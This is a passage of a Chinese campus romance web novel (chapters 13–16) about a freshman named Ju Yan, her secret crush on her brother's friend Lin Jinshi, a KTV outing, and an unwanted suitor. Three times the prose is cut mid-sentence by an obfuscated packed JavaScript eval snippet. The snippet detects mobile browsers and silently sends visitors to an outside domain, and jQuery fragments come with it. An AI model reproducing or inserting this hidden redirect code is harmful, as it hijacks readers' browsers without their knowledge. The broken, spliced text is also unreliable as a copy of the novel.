鞠言所属的心理学院也悲催地包括其中，知道还得早起两年，沈清梨在寝室里哀嚎得痛不欲生。 早晚自习的教室是两个班级共用的，应用心理学1班的学生坐左侧两大组，应用心理学2班的学生坐右侧两大组。 在2班的学生里，鞠言看到了一个熟人的身影，是黄欣瑶。 黄欣瑶是为了林今世报考的清大，上了大学后她的名字总是出现在学校的表白墙上，鞠言也在社交平台刷到过她几次，有不少的粉丝。 这天傍晚，鞠言和童钰一起来到上晚自习的教室，她在左侧第二组第二排的位置坐下，开始了温习明天上午要上的课。 少女面容姣净，一双水盈盈的秀眼，裸露的长脖颈与衬衫一样白洁无暇，引得不少同教室的同学纷纷侧目。 没学一会儿，鞠言的手机忽然响了一声，沈清梨发给她的消息：【坐倒数第二排那个女的好像一直在跟别人议论你。】 鞠言朝左侧回过头，在沈清梨说的位置看到黄欣瑶正跟坐在自己身旁的女孩低声说着什么，对上鞠言坦荡的目光，她心虚地住了口，却又不甘示弱地狠狠白了鞠言一眼。 鞠言冷漠地扫了她一眼，不以为然地转回脸。 开学一周后，维持两星期的军训开始了。 酷暑，气温高达三十多摄氏度，蝉声刺耳。凄惨的大一新生每天都需要在灿烂的大太阳底下站军姿、走方阵。 鞠言穿着迷彩服，戴着迷彩鸭舌帽站在队伍里，汗珠顺着白皙的脸颊缓缓往下淌着。 这些天，她都没有再看到林今世，虽然经常会从偶然擦肩而过的人口中听到她们在谈论他。 鞠然倒特意来“看”了她一趟，他拿着冰镇奶茶和冰西瓜，在鞠言站军姿的时候，他就坐在树荫底下，吹着小风扇，故意当着她的面大吃大喝。 鞠言：“……” 她已经习惯他这副幼稚的模样了，也不觉得馋，只是把班级里其他人给害惨了，个个不住地吞咽着口水。 一回寝室，周靓雯第一时间就跟鞠言抱怨： “比比，能不能让你哥别来添乱了，我本来还不是很渴，被他一弄，搞得我差点没坚持下去！” “……”鞠言只能不甘心地替鞠然道了好几次歉。 到了军训结束，大一新生皆黑了一个度，好在鞠言原先足够白，防晒又做的充足，到了结束也只晒黑了一点点。 当天晚上，学校举办了新生开学典礼，由学长学姐表演节目。 鞠言本来不想去看的，但想着或许能看到林今世，便和室友们一起前往了操场。 操场旁由高渐低的观众席上坐满了学生。 班长周孝明带着人搬来了几筐小蜜橘和柚子，是用班费买的。 鞠然性格外向，大一到大四，每个年级的人都认识一大堆，对于学校的衍生活动也极度热心。 在开学典礼上，他既要演小品，还要和另外几名男生一起跳街舞。 轮到鞠然的节目时，鞠言总是情不自禁地捂着耳朵，闭紧眼睛。以免自己被尴尬到昏倒。 高中的表演节目的活动就林今世从来不参加，这次也并没有例 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305816|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外。 鞠言既遗憾又庆幸，她有种很矛盾的心理。既想林今世能表演节目，让她多看到他一次，又不想让太多人看到他。 虽然为林今世着迷的人已经够多了。 隔壁班的一个女孩就准备了剥好的满满一碗西柚肉，预备去送给他。 鞠言垂眼拨着手里的小蜜橘，橙色的皮瓣垂落如花，她也很想把自己剥的水果给林今世，可她没有这个勇气。 鞠言的大学生活很平淡，除了上课和社团必须参加的活动外，多数时间都是在图书馆中度过的。 她从鞠然的朋友圈里晒出的照片知道，鞠然和林今世一块儿在羽毛球社，因为林今世，鞠言特别想进羽毛球社，但由于别的女生们也很想得到与这位远近闻名的清大校草一块儿打球的机会，这届报名羽毛球社团的女生多的夸张，社团的名额很快就被抢光了。 鞠言只能打听来了羽毛球社的活动时间，假装是去观赛，看看能不能遇到林今世。 到了羽毛球馆，才发现有这个想法的似乎不止她一个人，羽毛球社远比其他社团要热闹，连过道上都挤满了人，鞠言好不容易才挨进了人群。 她第一时间看到了林今世的背影，他穿着上白下黑的运动套装，正在和人比赛。 羽毛球场地旁边有一群打扮的很漂亮的女生一直在给林今世喊加油。 和林今世比赛的那名学长貌似是体育专业的，技法很娴熟，两人的分数你追我赶，很是激烈，鞠言看了眼咬的很紧的比分，也情不自禁在心里给林今世加起油。 最后还是林今世以一记优秀的跳杀结束了比赛。在落地的一瞬间，他修长的小腿绷出了漂亮的肌肉线条。 对手懊恼地骂了一声的同时，场地周围的女生爆发出了一阵喝彩。 比赛一结束，立刻有好几个女生跑过去给他送水。林今世说了谢谢，但一个都没有要。 “比比！” 在喧闹的人声中鞠言听到了鞠然的声音，她回过头，鞠然正从另一处远远地走过来，他挑眉问道：“你特意来看我打羽毛球的？” 他边问，边把臂弯里夹着的一瓶矿泉水抛给她，朝她后方指了下。 鞠言不明所以地接住水：“我不渴。” “帮我给林今世。” 鞠言顿时紧张起来，两手握着矿泉水有些不知所措，忽然感觉到身后有人走近。高高的身影使她身围的光线一暗。 鞠言慢吞吞回过身，林今世已经走到了她的身后。 他的肩膀上搭着一块白毛巾，运动衫完全汗湿了，身上散发着淡淡的热气。他的身上并没有难闻的汗味，反而是一股清新的味道。 “……”鞠言无言地将矿泉水递给他，手控制不住地微微发颤。 林今世说了声“谢谢”。接过了水。一下拧开瓶盖，仰头灌了好几口。 他就站在她面前，鞠言看到他的喉结滚动着，有种性感的意味。脸上点点热汗顺着下颏滑到修长的脖颈上，皮肤在运动后泛着淡淡的红晕，格外清透。 她情不自禁地有点看呆了。鞠然在这时也走近了，他问：“你有事找我？” “看你打球……”鞠言撒谎道。 鞠然脸上露出了得瑟的神色：“你别那么崇拜我行不行。” 鞠言无声地捏了捏拳：“……” 14. 第 14 章 可能是因为她刚刚的那句“恭维的话，鞠然心情不错，他下身，手撑膝，跟鞠言面对面说话： “我今天晚上请你吃饭，去不去？” “嗯。”鞠言点点头，想都没想便答应了下来，毕竟有很大概率林今世也会在。 - KTV包间黯紫的光浴在鞠然的脸上，他拖住鞠言的绿色书包不让走： “不是我说，比比，你哪里有个大学生的样子，一天到晚不是教室就是图书馆的！要不是我骗你出来，你肯定又是在读书，居然还不领我的情！” 鞠言握拳：“不是说出来吃饭吗？怎么到KTV来了。” “这不是有一桌的吃的嘛！”鞠然用下巴指了下黑玻璃长茶几上摆着的丰盛的吃食。 他搂住她纤瘦的肩膀，附耳小声道：“而且来认识认识你未来的嫂子。” 鞠言朝鞠然盯着的那个女孩看了一眼，她正在和身旁的朋友聊天，皮肤雪白，红色的卷发到腰，坐着也能看出高挑丰盈的身材。 鞠言不领情地把书包抢回来，挎到肩膀上：“别想了，你配不上她。” 鞠然推了她一把：“早知道我不带你来了！” “是骗。” “好吧好吧，你想走也行，我送你上车，不然等下你被那些坏男人拐走怎么办。”鞠然妥协，和她一起朝外走。 鞠言推开门出去，在铺着长毯子的过道上，林今世迎面走来。 鞠言顿时紧张起来，不自然地抬起手抿了下耳畔的碎发。 鞠然就在她身后，看到林今世，向他解释了一句：“我去送下我妹。” 林今世只是扫了她一眼，没有什么别的反应，他两手插兜从他们身旁经过，鞠然忽然想到了什么，猛地拽住林今世的胳膊将他拖住，他严肃地警告道： “你记得坐光线暗的地方，可别让贝贝喜欢上你，知道没？” “知道了。”林今世不耐烦地扫开他的手。推开门往里进，鞠然怕他不当一回事，追着林今世进包间，不放心地又嘱咐了好几遍，才转回身打算朝外走。 看到身后跟着他回到包间的鞠言，鞠然疑惑：“你回来干嘛？” 鞠言心虚地垂下脸，小声找了个理由：“不吃白不吃。” 闻言，鞠然得意一笑：“OK，今天就让哥好好带你体验体验夜生活！” 鞠言对这些活动不感兴趣，在林今世面前她也不好意思唱歌，她随便吃了点东西，便坐到远离人群的一张沙发上，伏在桌上静静地写起作业。 包间内充盈着音乐声，十分吵闹，大屏幕上播放着MV，大多时候都是鞠然在唱，他平时就喜欢出风头，加上歌喉不错，更是一首接一首的停不下来。 特别是今晚还有个心仪的女孩在场，更像只公孔雀似的开屏个没完。 鞠言却不想走，因为林今世在这里，能在埋头写作业之余偶尔听见他的声音，她便很满足了，眼前那些枯燥的题目也变得生动有趣起来。 或许是因为答应了鞠然的缘故，林今世一直都没有唱歌，鞠言有些遗憾，林今世的声音那么好听，她很想听听他唱歌起来会是什么样，一定会很动听吧？ 鞠言正沉浸在思潮中，包间内忽然爆发了一阵哄叫，她不由得仰起脸望了一眼。 原来是林今世抽到了大冒险，卡牌上的要求有些特殊：需要和在场其中一个人接吻，男女不限，无法完成的话，就需要喝一大杯高度数的混合酒。 这个任务让在场的几个女孩都不约而同地紧张起来。 那满满一大杯混合酒已经调好了，单手叉腰立在茶几正中的位置散发出一股浓郁的威慑力。 “……” 鞠言低下脸，林今世选谁她都不想看，虽然面上若无其事，但她的思绪无法集中了，笔尖悬停在了习题的上方。 似乎有人在看她，鞠言本能地抬眸，目光出乎意料地触到了林今世的目光。 鞠言怔了下，两人仅对视了一秒，林今世便漫不经心地瞥开了视线，他拿起桌上那一大杯混合酒，仰起脸干脆地一饮而尽。 鞠然不满意地叫道：“扫兴！” 鞠言望着他，有些担心喝这一大杯下去胃会不舒服。 林今世将杯子搁回桌上，抬起手背拭了下嘴角，感觉到鞠言的目光，侧眸瞥了她一眼。 眼睛相遇，鞠言慌忙垂下脸，紧张自己眼中的担心被他看到了。 好在林今世似乎只是随意扫了一眼。 虽然有些心疼，但林今世的选择还是使鞠言酸涩的情绪被一扫而光，重新恢复了学习的能力。 KTV的光线昏黯，虽然写作业有些费眼睛，但在这样的光线下玩手机也是一样的效果，鞠言也更想多学一些知识。 其实她一开始选择心理咨询专业有很大一部分原因是这个专业听起来会让她未来能得到一份体面稳定的工作，但在一段时间的学习与了解之后，她已渐渐爱上了这份能够帮助、陪伴来访者度过灰暗时光，找回生存下去的勇气的职业，她想成为一名优秀的心理咨询师。 所以此刻多学一点，就可能会对未来的患者多一分帮助 鞠言打开手机的手电光，一只手举着照明纸张上的题目，可只举了一会儿，手就有些发酸，便将手机依靠在了自己的可乐上。 小太阳似的圆灯射出的白光直直地照在她脸上，有些刺眼睛，鞠言写片刻，就要停下来揉揉酸乏的眼睛。 写了片刻，鞠言再一次停下来，闭上眼睛休息了几秒，忽然感觉身旁有人坐了下来，一阵浓郁的酒气闯入了她的鼻腔。 以及，他身上独特的淡香。 鞠言的身体瞬间绷紧，她睁开眼，一束明亮的光从上方洒落，将她面前的作业纸上伏着的昏暗驱赶而退。 林今世脸上带着淡淡的酒意，他懒散地往后靠坐着，一条手臂搭在沙发靠背上，另一只手举在她的上方，像是握着一颗星。 见鞠言看过来，他朝她靠放着的手机微仰了下下颏，示意她可以把自己手机 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她抬睫，看了眼KTV室内的人，他们似乎都还不到犯困的时间，鞠然脸上酒意盎然，正和那个叫贝贝的女孩暧昧地唱着情歌，看样子还远不到结束的时间呢。 鞠言从兜里拿出耳机来戴上，她没有熬夜的习惯，已经有些困了。 在音乐声中，她不知不觉地闭上了眼睛，不知过了多久，迷迷糊糊的好像有人抱着她移动，对方的胸怀宽阔温暖，动作平稳，在他的怀抱中甚至比床还要舒适。 鞠言并没有醒，小时候出去吃饭，有时候回来的晚，她在车上睡着了，鞠然就会背着她上楼。 只是以前鞠然都是背她，从来没抱过她。 不知道为什么，她梦到了林今世坐在她身侧时浓郁的酒味与淡淡的香味。 她听见身后音乐声还在继续，聚会应该还没有结束，她还想和林今世多待一会儿。 鞠言忙伸手拽了拽鞠然的衣领，“我还想听歌，还不想回去呢。” 安静了片刻，他又抱着她走起来，她正想再次抗议要留下来，却忽然听到了悦耳的歌声轻轻从上方飘落下来，唱歌的是个男人，他唱的缓而低，十分动听。 这个男歌手的声音和林今世真像，鞠言迷迷糊糊地想到，等醒了一定要把他唱的歌全部加入歌单…… - 手机铃声一直在响，鞠言微微有些头疼，她迷迷糊糊地睁开眼睛坐起来，边揉着眼睛边环顾四周，白色的被子，金棕色的窗帘，不是在寝室，似乎是躺在酒店的床上…… 鞠言心一紧，瞬间清醒过来，忙第一时间检查自己的衣服，好在自己穿得严严实实的。 鞠言松了口气，却忽然隐约听见空气中传来一道均匀的呼吸声。 她一下子又紧张起来，僵了片刻，才极度小心翼翼地探脸朝床底下望了一眼。 一个年轻高大的男人穿着衣服背对着她躺在地板上睡着。 15. 第 15 章 鞠言的心放松下来，她爬下床，推了鞠然两下，隔了几秒鞠然才勉强睁开眼睛瞟了她一眼，随后又闭上了，他昨晚明显喝大了，到现在脸上还有浓浓未消的酒意。 鞠言拖不动鞠然，只能将床上的被子抱下来替他盖好。 她正想去洗漱，手机又响了起来，鞠言拿起手机看了一眼，才发觉里面有好几条未读消息，全是室友发给她的。 鞠言先接起了电话，是童钰打来的。 “比比，你到哪里去了？今天早自习点名怎么没有来？”听筒里传来了童钰焦急的声音。 鞠言一怔，连忙看时间：七点二十一分，早自习已经上课十分钟了。 鞠言忙问：“查早自习的人来过了吗？我现在马上赶回来！” 童钰轻声道：“刚来，已经把你的名字记走了……” “……”鞠言欲哭无泪，她朝蜷在地上睡觉的鞠然看了一眼，心里油然生出一股想杀了他解恨的冲动。 等鞠言赶回学校，早自习已经下课了。 周靓雯安慰她：“没事的，比比，你这才一次，欧大侠都因为早上睡懒觉不去上早自习次数太多吃过处分了，你看她不照样无所谓吗。” 沈清梨点头认同：“你别苦着脸，我给你推荐一部小说，你看了之后心情一定会好起来的！” 童钰无奈地悄悄叹了口气，悄悄拉了下鞠言的袖子附耳道：“清梨对这部小说着迷了，昨天你不在的时候，她把关鸥都骚扰的下载了阅读小说的软件。” “啊，这么恐怖？”鞠言偷偷看了一眼沈清梨，她已经准备给鞠言做“思想工作”了。 “你要信我。真的特别上头的一部小说！” “嗯好，小说名字是什么？”鞠言温声道。 为了避免沈清梨的骚扰，鞠言第一时间拿出手机打开阅读软件，准备将那部小说加入收藏夹。 “《为什么你是我的哥哥》，”沈清梨道，“兄妹虐恋，可好看了！” “……”鞠言的眼前瞬间跳出了鞠然的脸，胸口顿时一股欲呕的冲动。 鞠言默默关掉阅读软件，回过脸望着沈清梨：“我有个亲哥。” “不一样不一样！”沈清梨装出一副可怜的样子，哀求她：“真的超级好看！” “那我有空的时候看。”鞠言无奈地笑了一下，怕沈清梨像骚扰关鸥那样骚扰她，只能答应下来。 “不想看的话，可以听广播剧。”沈清梨笑眯眯的，又让鞠言下载广播剧软件。 尽管鞠言光是看着这本小说的名字就能立刻起一身鸡皮疙瘩，但一想到沈清梨连关鸥都拿下了，鞠言还是默默当着沈清梨的面下好了软件将那本小说放入了书架。 - 翌日，早上九点，鞠言抱着书本，和童钰她们一起去了第一节思政课所在的教学楼。 今天下楼的时间早，运气又好，校门外还停了许多辆崭新的共享单车，省去了找车的时间。 鞠言她们到教室时距离上课还有足足二十分钟，她不想待在教室里玩手机，便走到连廊上去晒太阳，顺便放松放松自己的眼睛。 余光注意到一道熟悉的身影正从对面走过来。 鞠然低脸专注地看着手机，从她身旁经过时甚至都没有注意到她。 鞠然以前总爱捉弄鞠言，高中有一次她让他帮忙拧瓶水，鞠然拧下瓶盖后递给她，鞠言才抬起手，他忽然猛地握紧了矿泉水瓶，一大蓬水如喷泉般扑了她满脸。 鞠言被弄得满脸是水，还有一点呛到了鼻子里，鞠然却在一旁笑弯了腰： “你脸上有脏东西，我给你洗洗。” 鞠言气得要命，想打他却又追不上，她只能在心里记下了这笔账。 周末放假，她趁着鞠然还没起来，从衣架上叉下他的校服外套，偷偷在后背的位置上画了一个猪头。 她本以为能够报复鞠然一把，没想到鞠然看到后只是怔了下，随后立刻提起笔在猪头下方写下了“鞠言”的名字。 鞠言气得又追着他打，却跟以往一样，完全追不上他。倒是鞠然一天到晚穿着这件校服到处招摇过市。 想到这些往事，鞠言当下伸脚绊了鞠然一下，鞠然往前趔趄了一下，猛地旋过头看过来。 看到是鞠言，他脸上的怒气消失了。 鞠言问道：“看什么呢？这么专注，也不怕撞到人。” “抢课呢，我的手机网差死了，都加载不出来，再这样下去我只能去上‘职业生涯规划’了。”鞠然烦躁地说，“正好，鞠小比，手机借我抢下课。” 鞠然最近总是喜欢这样喊她，鞠言没有在意，只觉得他又抽风了。 相册已经锁上了，其它的应该没什么和林今世有关的，鞠言白了他一眼，将手机从兜里掏出来递给他。 鞠然从学校平台退出了鞠言账号换成自己的，很快抢课界面便跳了出来。 鞠然：“怎么你的手机网速比我好那么多？” 鞠言：“大惊小怪，肯定是你手机里下载了太多游戏的缘故。” “好了。” 鞠然抢完课，退出软件，想把手机递还给鞠言，忽然瞥见了她的手机里有听广播剧的软件，他撤回手，脸上出现了欠揍的笑： “你是不是在听霸总小说？” “关你屁事。”鞠言平时不听广播剧，并不心慌，只是有些生气鞠然窥探她的隐私，她伸手去夺手机，鞠然立刻躲开。 他欠兮兮地将她的手机举高，故意用一副震惊的眼神盯着鞠言： “你不会是在听那种两个男的谈恋爱的小说吧？！” 鞠言气道：“快点还我！” “我检查一下，”鞠然边躲开她，边点进了广播剧软件。 目光触到屏幕的一瞬间，他的表情僵住，脚步也停了下来，鞠言追上去从他手中夺回了手机，凶他： “你干嘛乱翻！” 鞠然：“……” 鞠言转回脸，目光落到手机上，屏幕上显示正在收听的广播剧封面闯入眼中，一对男女吻在一起，女孩眼下挂着晶莹的泪，封面上几个质问的大字： 《你为什么是我的哥哥？》 鞠言赶紧将页面划掉，解释道：“是室友推荐给我的，我没看过，你不许乱想！” 一回头，却看到鞠然的脸已经烧得通红了，他尴尬得语无伦次，眼神躲闪着，连“噢”了两声。 鞠言被他带得尴尬起来，急道：“不要自作多情行不行！” “啧，谁自作多情了。”鞠然的声音有些不自在，“走了走了。”他转过身，小声嘟囔了一句：“什么品味。” “你不要太自信了行不行！”鞠言气得忍不住追上去踢他，鞠然慌忙往边上躲开，忽然露出了不知何时从对面走过来的林今世，鞠言踢出去的脚已经收不回来了，林今世瞳孔微缩，侧身躲开。 “对不起，对不起。”鞠言赶紧道歉。 林今世摇了下头，无语扫了一眼身旁偷笑的鞠然。 等他们走后，鞠言第一时间给鞠然发去消息：【不许跟别人说刚才的事。】 鞠然：【我靠，你以为我会想说吗！】 确定了鞠然不会告诉林今世，鞠言悬着的心终于放下，手机又响了声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305818|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>鞠然：【告诉别人我妹有这种变态的爱好！】 下一秒消息撤回。 鞠言：“……” 要是自己有鞠然一半自信就好了。 鞠言懒得再和鞠然扯皮，嫌弃地将和他的聊天界面划掉。 - 下午的时候，叶珊在四人家庭群中@了鞠然和鞠言： 【哥哥、妹妹，妈妈给你们寄的东西到了，记得去驿站查收。】后面配了一个微笑的小表情。 鞠然：【什么东西？】 叶珊：【给你们买了一些吃的，还有妈妈自己做的柠檬鸡爪。】 鞠然发了一条语音：【我就想吃这个！】 连吃了个几个月的食堂和外卖，鞠言也激动极了：【谢谢妈妈。】 叶珊写的是鞠然的名字，鞠然先去驿站拿了来，让鞠言下课后到他宿舍楼下去挑。 由于上午的事情，两人都还有些尴尬，鞠言也没喊鞠然，蹲在地上顾自查看叶珊寄来的东西。 叶珊买的零食鞠言一向没有特别喜欢的，她抱着自己的那一罐鸡爪，蹲在一箱子零食前挑选了好一会儿。 鞠然站在一旁等着，他不间断地和人发着消息，一道女声从他的手机中传出，听起来有些着急： 【林今世真的决定要走吗？他都大二了……】 鞠然摁住听筒笑道： “你是今天第九个了，你们干嘛都来问我呀，谁要出国你们问谁去呗。” 鞠言动作一滞。 片刻后，那个女生回复过来，同样是语音，声音难掩失落。 鞠言忍不住问出口：“你朋友要去哪儿？” 林今世的名字仿佛是个禁忌，不到迫不得已，她决不提起。 “谁？林今世吗？”鞠然漫不经心。 鞠言轻轻“嗯。”了一声。 鞠然仍旧垂脸和人发着微信，不抬眼答道：“去美国。” 这件事对她震撼太大，鞠言甚至忘记了自己其实和林今世毫无关系，询问的话语在一瞬间脱口而出：“怎么这么突然？” 鞠然抬起清澈的眼睛朝她看了一眼，目光透出疑惑：“你干嘛那么激动？” “只是好奇。”意识到自己失态了，鞠言立刻让自己的面色平静了下来。 “是他爸爸的意思，他自己也觉得大学生活和他想的不一样，没意思。” “那，那他什么时候走？”鞠言努力控制住情绪，不让鞠然发觉不对。 鞠然：“他还没确定要申请哪所大学，可能这学期不念完就会申请退学。” 鞠言：“……” 鞠然叹了口气：“我也好想去美国留学。” 鞠言在一旁怔怔地听着，心直往下沉，坠入了冰窟。她仿佛在看到了他在机场牵着行李箱的背影，四周人来人往，他越走越远。 大学四年她都不能再在学校里看到他了，鞠言的眼睛逐渐酸起来，心情也降到了冰点，她不奢望其他的，只是想多看见他几次，可马上连这件事也做不到了。 鞠言随便拿了几样零食，颤声道：“我走了，其它的你拿去吧。” “就拿这么点？”鞠然看了一眼几乎没什么变化的盒子，疑惑地问。 “嗯，我最近在减肥。”鞠言随口敷衍道。 “你减个屁的肥，身上有二两肉吗。”鞠然有些不快，从袋子里抓了好几样塞到鞠言怀里。 “……” 鞠言抱紧了些，省得零食从怀里掉下，她木讷地说道：“哥，我走了。” 怕鞠然还要说别的，鞠言丢下最后一句话，头也不回地快步走了。 16. 第 16 章 回宿舍后鞠言连沈清梨在和她说话也没听见，只木木地爬上床。 枕着濡湿的枕头躺了许久，鞠言才发觉自己在流泪，在为了一个和自己不会有任何关系的人痛哭。 那天晚上，哭累了的鞠言做了个梦，林今世的英语水平很好，雅思只考了一次便过了，在她还没有任何准备时，他已经坐上飞往美国的飞机了，听说去机场送他的人有很多。 林今世一去便是许多年，再见到他是在鞠然的婚礼上，鞠言坐在主桌，像从前那样偷偷地看他，一种陌生而熟悉的感觉。 林今世的模样成熟了许多，一身黑西装，左胸口别着一朵鲜花，目光注视着台上的新人，闲闲地背靠在椅子上。 一定是又看得太久了，林今世的目光向她移过来，只一眼便淡漠地收了回去。 时间太久，他早已经不记得她是谁了。 忽然感觉有人在摇晃她的肩，鞠言迷迷糊糊睁开眼。 “比比。” “......嗯？” 童钰踮着脚趴在她的床边：“大家都起来了，就你啦。” 鞠言有些不好意思，马上从床上坐了起来，她套好衣服，急急忙忙跑进卫生间： “……我马上就好。” 因为鞠言起晚了，所以和童钰进电梯时里面已经有不少人了。 其中一个正在和朋友嬉闹的男孩，莫名让鞠言觉得有些眼熟，她不由得多看了他一眼。 男孩小麦色皮肤，不高不矮，长得还算不错。 鞠言想起了自己觉得他面熟的原由，她在学校的表白墙上刷到过好几次他抱着吉他唱歌的视频。 男孩感觉到了她的目光，眼带着笑朝她看过来，误解的目光在她身上打量了片刻。 女孩气质恬静，眉目清丽，额前披着薄薄的刘海，碎发干干净净抿在耳后，一身水蓝色的开衫，更衬得肤质白洁。 男孩在拥挤的电梯内朝鞠言挤过来，他对她笑道： “学妹，你是哪个专业的？” “应用心理学。”鞠言简短地答道。 “酷啊！怪不得都说医生气质好。我叫陈归，大二，是电子工程专业的。”陈归边自我介绍，边伸手去掏手机，他低头打开微信二维码：“加个微信。” 由于他的举动，电梯里的其他人都朝鞠言看着，鞠言有些不自在，她没有说话，只摇了摇头，陈归以为她是含羞，撒娇道：“加一个嘛。” 先前和陈归打闹的几个男孩顿时发出了一阵起哄的笑声。 鞠言有些左右为难，恰好电梯到达了她们班自习教室所在的楼层，她只当没有听见他的话，和童钰一起快步出了电梯。 本以为陈归会就此打住，没想到当天下午童钰闲下来后偶然刷手机竟在表白墙上看到了疑似捞鞠言的信息。 鞠言正在阳台晒衣服，童钰拿着手机走出来，“比比，这好像捞的是你。” 【墙，捞一下今天早上在2号综合楼那个绑马尾辫的，应用心理学的学妹，第一眼看到你白皙的脸庞就有些心动，即使做个朋友也是好的。】 最后潇洒地留下了一句：【不匿。】附带有一张他二维码的截图。 底下有表白墙转载的其他人的回复：【陈归？？？又是你小子！】 【有照片没有？好奇长什么样。】 鞠言没有看完，她眉头微蹙，将手机还给童钰：“别去理他。” 翌日的晚自习，鞠言和童钰还没踏进教室，就听到里面传来弹吉他唱情歌的声音。 童钰侧头问她：“是谁在唱歌呢？唱的还挺好听的。” 鞠言并没有联系到自己身上，只是微笑着摇摇头。 一踏进教室，两人的目光却不由得被白板上写着几个大字吸引了过去： 陈归献给鞠言。 不知陈归从哪里打听到了她的自习教室，此刻他正在朋友的簇拥下，怀抱着吉他坐在讲台上，陶醉地唱着《喜欢你》。 教室里已经有不少人了，都一脸八卦的模样朝鞠言望过来，黄欣瑶也在其中，不屑地瞥了她一眼。 鞠言完全没有想过会和自己有关，不觉呆了呆，反应过来后，她立刻急步赶到讲台旁，拿了板擦快速将那几个字擦掉。 鞠言因为林今世要出国的事本就心情不好，她一句话都不想跟他们说，将字迹擦出后便沉着脸走到童钰身旁坐下。 离晚自习上课还有片晌，心理应用学1班的学生差不多都来齐了。 大二不用上晚自习，陈归的几个朋友七嘴八舌地对陈归说了几句打气的话，随后勾肩搭背地从教室离开。 陈归将吉他交给了一个胖子，让他带回寝室。他则是自己坐到了鞠言后排的空位置上，似乎并不打算走。 “我们要上晚自习了，请你离开。”鞠言头也不回地说。 陈归在她后面不以为然地说：“我想陪你。” 鞠言回过脸看着他：“我和你还没那么熟。” 陈归见她回过头，脸上挂上了轻浮的笑：“处处就熟了。” 鞠言冷漠道：“我不想认识你，请你离开。” 她正想警告他，如果再不走的话，自己就会联系辅导员，忽然听见有男人沉声说道： “那位同学，如果你不是我们班级的，现在请你出去，不要在那边骚扰女同学。” 鞠言不由得回头望过去，说话的是站在讲台上预备点名的周孝明。他戴着一副半框眼镜，身量修长，清俊白洁。 把他的行为归结为骚扰使陈归顿时不爽了，他拿出学长的派头，挑衅地问：“你哪位？” 周孝明没有解释，简单明了警告他：“你再不走，我现在就给辅导员打电话。” 在这么多人的目光下，陈归虽然心里有些慌，但为了维持尊严，他只是不屑瞥了周孝明一眼，仍旧坐着不动。 周孝明没再和他废话，干脆地拿出手机准备打电话。 陈归“啧”了一声，霍地站起身出去，把教室的后门甩得发出了爆炸声。 周孝明若无其事地开始按学号点名，鸦雀无声的教室逐渐恢复了往日的气氛。 虽然这件事本来自己也能解决，但鞠言还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305819|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很感激他的出言帮忙，她跟只偶然和周孝明说过几句话，并不熟悉，她思虑着此刻给他发消息道谢，会打断他学习的节奏，便打算等到归寝后再给他道谢。 晚自习下课后，鞠言回到寝室，她坐在椅子上，正把挎包里的东西往书桌上放，比她快一步到寝室的周靓雯含着牙刷从浴室出来问鞠言道： “比比你今天和陈归是怎么回事啊？” 由于鞠言认为被陈归搭讪的事情没什么跟她们说的必要，所以沈清梨和周靓雯一直都不知道。 鞠言简单地把经过跟她讲了一遍，周靓雯忍不住骂道：“他这个人真是神经病，之前我去操场跑步，他还拦住我要过微信，我当时没多想就给他了，没想到才加上第一天，他就给我甩了张腹肌照过来。” 鞠言：“……” 周靓雯一说话就停不下来，一直在鞠言旁边逗留到嘴里的泡沫都快掉下来了，才着急忙慌地跑回浴室。 鞠言扭回身，拿起搁在书桌上的手机看了一眼，手机显示有好几条未读消息，她一一点开，除了班级群几条有关作业的消息以外，还有一条语音是周孝明发给她的： 他咬字清晰，温润的声音很是悦耳：【你没事吧？他有没有再来纠缠你？有需要的话我可以跟辅导员去说。】 鞠言回复道：【没有再来了，今天的事，谢谢你。】 周孝明秒回：【没事的，早点休息。】 鞠言简单回复了个：【嗯。】 她本以为两人交谈会到此结束，刚想把手机搁下，却又听到了消息提示音： 周孝明温声道：【明天见。】 鞠言微怔，随即回复道：【嗯，明天见。】 - 翌日，上完中午的最后一节课，鞠言边将课本放到浅绿托特包中，边听童钰说着历代汉服演变史。 忽然听到周孝明的声音在喊她。 她回过头去。 周孝明把整理好的书包挎到肩上，朝她走过来，到她跟前后，他才温声问：“你下午去图书馆吗？” 鞠言：“嗯，是需要我帮你占位置吗？” 虽然这么问，但她心里却觉得大概率不会是这件事。因为周孝明每次去图书馆的时间都很早，等鞠言到图书馆的时候他都已经在固定的位置上埋头学习了，他是他们班学习最努力的，实至名归。 周孝明摇了摇头：“我可以坐你对面吗？” 鞠言怔了下，明白了他的意思，她的脑海中一瞬间跳出了林今世的脸，下一秒又想到了他即将去美国的事。 鞠言垂下长睫，沉吟片刻后点头道：“嗯。” 周孝明点点头，朝她和童钰挥了挥手，微笑着说了声：“再见。” 